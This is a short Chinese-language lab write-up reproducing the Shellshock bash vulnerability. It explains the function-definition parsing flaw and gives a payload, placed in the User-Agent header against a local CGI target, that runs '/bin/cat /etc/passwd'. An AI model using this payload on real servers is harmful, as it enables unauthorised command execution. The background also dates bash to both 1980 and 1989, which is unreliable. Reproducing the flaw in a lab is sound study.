bourne again shell(简称bash)是在gnu/linux上最流行的shell实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和gnu系统深度整合的多功能接口。
bash,unix shell的一种。1989年发布第一个正式版本,原先是计划用在gnu操作系统上,但能运行于大多数类unix系统的操作系统之上,包括linux与mac os x v10.4都将它作为默认shell。它也被移植到microsoft windows上的cygwin与mingw,或是可以在ms-dos上使用的djgpp项目。在novell netware与android上也有移植。
目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题的是以”(){”开头定义的环境变量在命令env中解析成函数后,bash执行未退出,而是继续解析并执行shell命令,而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
本文仅作漏洞复现记录与实现,利用流程如下:
1.漏洞环境
链接:http://192.168.101.152:8080/victim.cgi
2.漏洞payload
() { :; }; echo; /bin/cat /etc/passwd
理论上,可以在http请求中注入一个bash命令,进行远程命令执行
3.利用流程
访问目标
将user-agent值替换为payload,即可执行命令
user-agent并非必须条件
以上就是bash漏洞复现的示例分析的详细内容。